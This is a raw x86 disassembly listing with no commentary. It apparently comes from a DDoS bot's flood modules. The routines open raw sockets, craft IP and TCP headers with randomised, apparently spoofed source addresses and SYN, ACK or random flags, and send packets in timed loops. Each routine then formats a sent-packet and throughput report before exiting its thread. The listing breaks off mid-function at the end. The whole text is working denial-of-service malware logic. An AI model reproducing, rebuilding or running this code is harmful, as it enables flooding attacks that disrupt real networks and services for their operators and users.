		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4010B2
		add	esp, 20h
		test	eax, eax
		jnz	short loc_401435
		inc	eax


loc_401435:				; CODE XREF: sub_4013E8+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4013E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401444	proc near		; DATA XREF: sub_40CD3A+3A2Fo

var_3BC		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		xor	ebx, ebx
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_1BC]
		push	0FFh
		inc	ebx
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	dword_43C5D4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_4014DF
		call	dword_43C4E8
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_423238
		push	eax


loc_401493:				; DATA XREF: seg001:off_424D90o
					; seg001:off_425D58o
		call	sub_415316
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_4014C2
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_412BD1
		add	esp, 14h


loc_4014C2:				; CODE XREF: sub_401444+5Cj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40B078
		push	[ebp+var_38]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	edi
		call	dword_421048	; ExitThread


loc_4014DF:				; CODE XREF: sub_401444+3Aj
		lea	ecx, [ebp+var_C]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_C], ebx
		call	dword_43C534
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401556
		call	dword_43C4E8
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4231E8
		push	eax
		call	sub_415316
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_401539
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_412BD1
		add	esp, 14h


loc_401539:				; CODE XREF: sub_401444+D3j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40B078
		push	[ebp+var_38]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	edi
		call	dword_421048	; ExitThread


loc_401556:				; CODE XREF: sub_401444+B3j
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_43C594
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4015BD
		lea	eax, [ebp+var_3BC]
		push	offset unk_4231B4
		push	eax
		call	sub_415316
		cmp	[ebp+var_24], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4015A0
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_412BD1
		add	esp, 14h


loc_4015A0:				; CODE XREF: sub_401444+13Aj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40B078
		push	[ebp+var_38]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	edi
		call	dword_421048	; ExitThread


loc_4015BD:				; CODE XREF: sub_401444+122j
		push	10h
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	sub_415390
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	edi
		call	dword_43C554
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_43C594
		mov	esi, dword_42104C
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], edi
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax
		jmp	loc_40171E
; ---------------------------------------------------------------------------


loc_401600:				; CODE XREF: sub_401444+2EBj
		push	41Ch
		mov	byte_43AD68, 45h
		call	dword_43C554
		cmp	[ebp+var_2C], edi
		mov	word_43AD6A, ax
		mov	word_43AD6C, bx
		mov	word_43AD6E, di
		mov	byte_43AD70, 80h
		mov	byte_43AD71, bl
		mov	word_43AD72, di
		jz	short loc_40166F
		call	sub_415372
		mov	ebx, eax
		shl	ebx, 8
		call	sub_415372
		add	ebx, eax
		shl	ebx, 8
		call	sub_415372
		add	ebx, eax
		shl	ebx, 8
		call	sub_415372
		add	ebx, eax
		mov	dword_43AD74, ebx
		xor	ebx, ebx
		inc	ebx
		jmp	short loc_401687
; ---------------------------------------------------------------------------


loc_40166F:				; CODE XREF: sub_401444+1F9j
		push	[ebp+var_1BC]
		call	sub_40A08A
		pop	ecx
		push	eax
		call	dword_43C594
		mov	dword_43AD74, eax


loc_401687:				; CODE XREF: sub_401444+229j
		mov	eax, [ebp+var_18]
		mov	dword_43AD78, eax
		call	sub_415372
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_43AD7C, dl
		call	sub_415372
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_43AD7D, dl
		call	sub_415372
		cdq
		mov	ecx, 0F0h
		push	400h
		idiv	ecx
		mov	word_43AD7E, di
		mov	word_43AD82, bx
		inc	edx
		mov	word_43AD80, dx
		call	sub_415372
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	edx
		push	offset dword_43AD84
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	edi
		push	41Ch
		push	offset byte_43AD68
		push	[ebp+var_4]
		call	dword_43C5B8
		cmp	eax, 0FFFFFFFFh
		jz	loc_4017BA
		inc	[ebp+arg_0]


loc_40171E:				; CODE XREF: sub_401444+1B7j
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		mov	ecx, 3E8h
		xor	edx, edx
		div	ecx
		cmp	eax, [ebp+var_30]
		jbe	loc_401600
		push	[ebp+var_4]
		call	dword_43C5EC
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_423150
		push	eax
		call	sub_415316
		add	esp, 1Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_40179D
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_412BD1
		add	esp, 14h


loc_40179D:				; CODE XREF: sub_401444+337j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40B078
		push	[ebp+var_38]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	edi
		call	dword_421048	; ExitThread


loc_4017BA:				; CODE XREF: sub_401444+2D1j
		push	[ebp+var_4]
		call	dword_43C5EC
		call	dword_43C4E8
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_4230E8
		lea	eax, [ebp+var_3BC]
		push	200h
		push	eax
		call	sub_41588A
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_401812
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_412BD1
		add	esp, 14h


loc_401812:				; CODE XREF: sub_401444+3ACj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40B078
		push	[ebp+var_38]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	edi
		call	dword_421048	; ExitThread
sub_401444	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40182F	proc near		; DATA XREF: sub_40CD3A+372Do

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401B7C
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_423280
		push	eax
		call	sub_415316
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_4018AC
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_412BD1
		add	esp, 14h


loc_4018AC:				; CODE XREF: sub_40182F+5Bj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40B078
		push	[ebp+var_10]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
sub_40182F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018CB	proc near		; CODE XREF: sub_401B7C+3Cp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_43C4CC
		test	eax, eax
		jz	short loc_40190B
		xor	eax, eax
		jmp	loc_401B4F
; ---------------------------------------------------------------------------


loc_40190B:				; CODE XREF: sub_4018CB+37j
		xor	edi, edi
		inc	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_43C5F8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_401B47
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_43C534
		cmp	eax, 0FFFFFFFFh
		jz	loc_401B3D
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_415390
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_43C554
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_43C554
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_43C554
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_43C554
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	dword_421054	; QueryPerformanceFrequency
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_421050	; QueryPerformanceCounter
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_4157C0
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_4019F6:				; CODE XREF: sub_4018CB+25Dj
					; sub_4018CB+269j
		mov	[ebp+var_24], bx
		call	sub_415372
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_43C554
		mov	[ebp+var_34], ax
		call	sub_415372
		mov	edi, eax
		shl	edi, 10h
		call	sub_415372
		or	edi, eax
		push	edi
		call	dword_43C554
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_43C550
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_43C554
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40A0E3
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4153F0
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_415390
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40A0E3
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4153F0
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_43C5B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401B53
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_421050	; QueryPerformanceCounter
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_401B3A
		jl	loc_4019F6
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jb	loc_4019F6


loc_401B3A:				; CODE XREF: sub_4018CB+25Bj
		mov	ebx, [ebp+arg_8]


loc_401B3D:				; CODE XREF: sub_4018CB+78j
					; sub_4018CB+2AFj
		push	[ebp+var_C]
		call	dword_43C5EC
		pop	esi


loc_401B47:				; CODE XREF: sub_4018CB+5Bj
		call	dword_43C4B4
		mov	eax, ebx


loc_401B4F:				; CODE XREF: sub_4018CB+3Bj
		pop	edi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401B53:				; CODE XREF: sub_4018CB+247j
		call	dword_43C4E8
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_4232BC
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_40B078
		add	esp, 10h
		jmp	short loc_401B3D
sub_4018CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_401B7C	proc near		; CODE XREF: sub_40182F+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_409F7A
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41587F
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41587F
		mov	edi, eax
		call	sub_415372
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4018CB
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_401BC5
		inc	eax


loc_401BC5:				; CODE XREF: sub_401B7C+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401B7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401BD4	proc near		; DATA XREF: sub_40CD3A+2B63o

var_440		= byte ptr -440h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
var_1BC		= byte ptr -1BCh
var_13C		= byte ptr -13Ch
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_8C		= byte ptr -8Ch
var_80		= byte ptr -80h
var_78		= byte ptr -78h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_240]
		rep movsd
		xor	esi, esi
		push	0Eh
		inc	esi
		xor	ebx, ebx
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_9F]
		mov	[ebp+var_A0], bl
		rep stosd
		stosw
		stosb
		mov	edi, dword_42104C
		call	edi	; GetTickCount
		push	eax
		call	sub_415368
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_43C5D4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_401C9D
		call	dword_43C4E8
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_423450
		push	eax
		call	sub_415316
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401C7D
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_412BD1
		add	esp, 14h


loc_401C7D:				; CODE XREF: sub_401BD4+84j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40B078
		push	[ebp+var_BC]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread


loc_401C9D:				; CODE XREF: sub_401BD4+61j
		lea	ecx, [ebp+var_34]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_34], esi
		call	dword_43C534
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401D1B
		call	dword_43C4E8
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_423400
		push	eax
		call	sub_415316
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401CFB
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_412BD1
		add	esp, 14h


loc_401CFB:				; CODE XREF: sub_401BD4+102j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40B078
		push	[ebp+var_BC]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread


loc_401D1B:				; CODE XREF: sub_401BD4+DFj
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_43C594
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401D8B
		lea	eax, [ebp+var_440]
		push	offset dword_4233CC
		push	eax
		call	sub_415316
		cmp	[ebp+var_A8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_401D6B
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_412BD1
		add	esp, 14h


loc_401D6B:				; CODE XREF: sub_401BD4+172j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40B078
		push	[ebp+var_BC]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread


loc_401D8B:				; CODE XREF: sub_401BD4+157j
		push	10h
		lea	eax, [ebp+var_44]
		push	ebx
		push	eax
		call	sub_415390
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	ebx
		call	dword_43C554
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_43C594
		mov	[ebp+var_40], eax
		mov	[ebp+arg_0], ebx
		call	edi	; GetTickCount
		mov	[ebp+var_30], eax
		jmp	loc_401FF3
; ---------------------------------------------------------------------------


loc_401DC8:				; CODE XREF: sub_401BD4+433j
		push	28h
		mov	[ebp+var_2C], 45h
		call	dword_43C554
		cmp	[ebp+var_B0], ebx
		mov	[ebp+var_2A], ax
		mov	[ebp+var_28], si
		mov	[ebp+var_26], bx
		mov	[ebp+var_24], 80h
		mov	[ebp+var_23], 6
		mov	[ebp+var_22], bx
		jz	short loc_401E21
		call	sub_415372
		mov	esi, eax
		shl	esi, 8
		call	sub_415372
		add	esi, eax
		shl	esi, 8
		call	sub_415372
		add	esi, eax
		shl	esi, 8
		call	sub_415372
		add	esi, eax
		mov	[ebp+var_20], esi
		xor	esi, esi
		inc	esi
		jmp	short loc_401E37
; ---------------------------------------------------------------------------


loc_401E21:				; CODE XREF: sub_401BD4+21Ej
		push	[ebp+var_240]
		call	sub_40A08A
		pop	ecx
		push	eax
		call	dword_43C594
		mov	[ebp+var_20], eax


loc_401E37:				; CODE XREF: sub_401BD4+24Bj
		mov	eax, [ebp+var_40]
		cmp	[ebp+var_B8], ebx
		mov	[ebp+var_1C], eax
		jnz	short loc_401E55
		call	sub_415372
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_401E5B
; ---------------------------------------------------------------------------


loc_401E55:				; CODE XREF: sub_401BD4+26Fj
		push	[ebp+var_B8]


loc_401E5B:				; CODE XREF: sub_401BD4+27Fj
		call	dword_43C554
		mov	[ebp+var_16], ax
		call	sub_415372
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_43C554
		push	12345678h
		mov	[ebp+var_18], ax
		call	dword_43C550
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_1BC]
		push	offset aSyn	; "syn"
		push	eax
		call	sub_4158E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401EAB
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 2
		jmp	short loc_401F07
; ---------------------------------------------------------------------------


loc_401EAB:				; CODE XREF: sub_401BD4+2CCj
		lea	eax, [ebp+var_1BC]
		push	offset aAck	; "ack"
		push	eax
		call	sub_4158E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401ECB
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 10h
		jmp	short loc_401F07
; ---------------------------------------------------------------------------


loc_401ECB:				; CODE XREF: sub_401BD4+2ECj
		lea	eax, [ebp+var_1BC]
		push	offset aRandom	; "random"
		push	eax
		call	sub_4158E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F07
		call	sub_415372
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_10], edx
		call	sub_415372
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_B], dl


loc_401F07:				; CODE XREF: sub_401BD4+2D5j
					; sub_401BD4+2F5j ...
		push	200h
		mov	[ebp+var_C], 50h
		call	dword_43C554
		mov	[ebp+var_A], ax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_64], eax
		mov	eax, [ebp+var_1C]
		push	14h
		mov	[ebp+var_6], bx
		mov	[ebp+var_8], bx
		mov	[ebp+var_60], eax
		mov	[ebp+var_5C], bl
		mov	[ebp+var_5B], 6
		call	dword_43C554
		mov	[ebp+var_5A], ax
		lea	eax, [ebp+var_64]
		push	20h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_A0]
		push	34h
		push	eax
		call	sub_40A0E3
		mov	[ebp+var_8], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		call	sub_4153F0
		push	4
		lea	eax, [ebp+var_78]
		push	ebx
		push	eax
		call	sub_415390
		add	esp, 44h
		lea	eax, [ebp+var_A0]
		push	28h
		push	eax
		call	sub_40A0E3
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4153F0
		add	esp, 14h
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_A0]
		push	3Ch
		push	eax
		push	[ebp+var_4]
		call	dword_43C5B8
		cmp	eax, 0FFFFFFFFh
		jz	loc_40209E
		inc	[ebp+arg_0]


loc_401FF3:				; CODE XREF: sub_401BD4+1EFj
		call	edi	; GetTickCount
		sub	eax, [ebp+var_30]
		mov	ecx, 3E8h
		xor	edx, edx
		div	ecx
		cmp	eax, [ebp+var_B4]
		jbe	loc_401DC8
		push	[ebp+var_4]
		call	dword_43C5EC
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_B4]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_1BC]
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_423358
		push	eax
		call	sub_415316
		add	esp, 1Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_40207E
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_412BD1
		add	esp, 14h


loc_40207E:				; CODE XREF: sub_401BD4+485j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40B078
		push	[ebp+var_BC]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread


loc_40209E:				; CODE XREF: sub_401BD4+416j
		push	[ebp+var_4]
		call	dword_43C5EC
		call	dword_43C4E8
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		push	offset dword_4232F0
		lea	eax, [ebp+var_440]
		push	200h
		push	eax
		call	sub_41588A
		add	esp, 18h
		cmp	[ebp+var_A8], ebx
		jnz	short loc_4020FC
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_412BD1
		add	esp, 14h


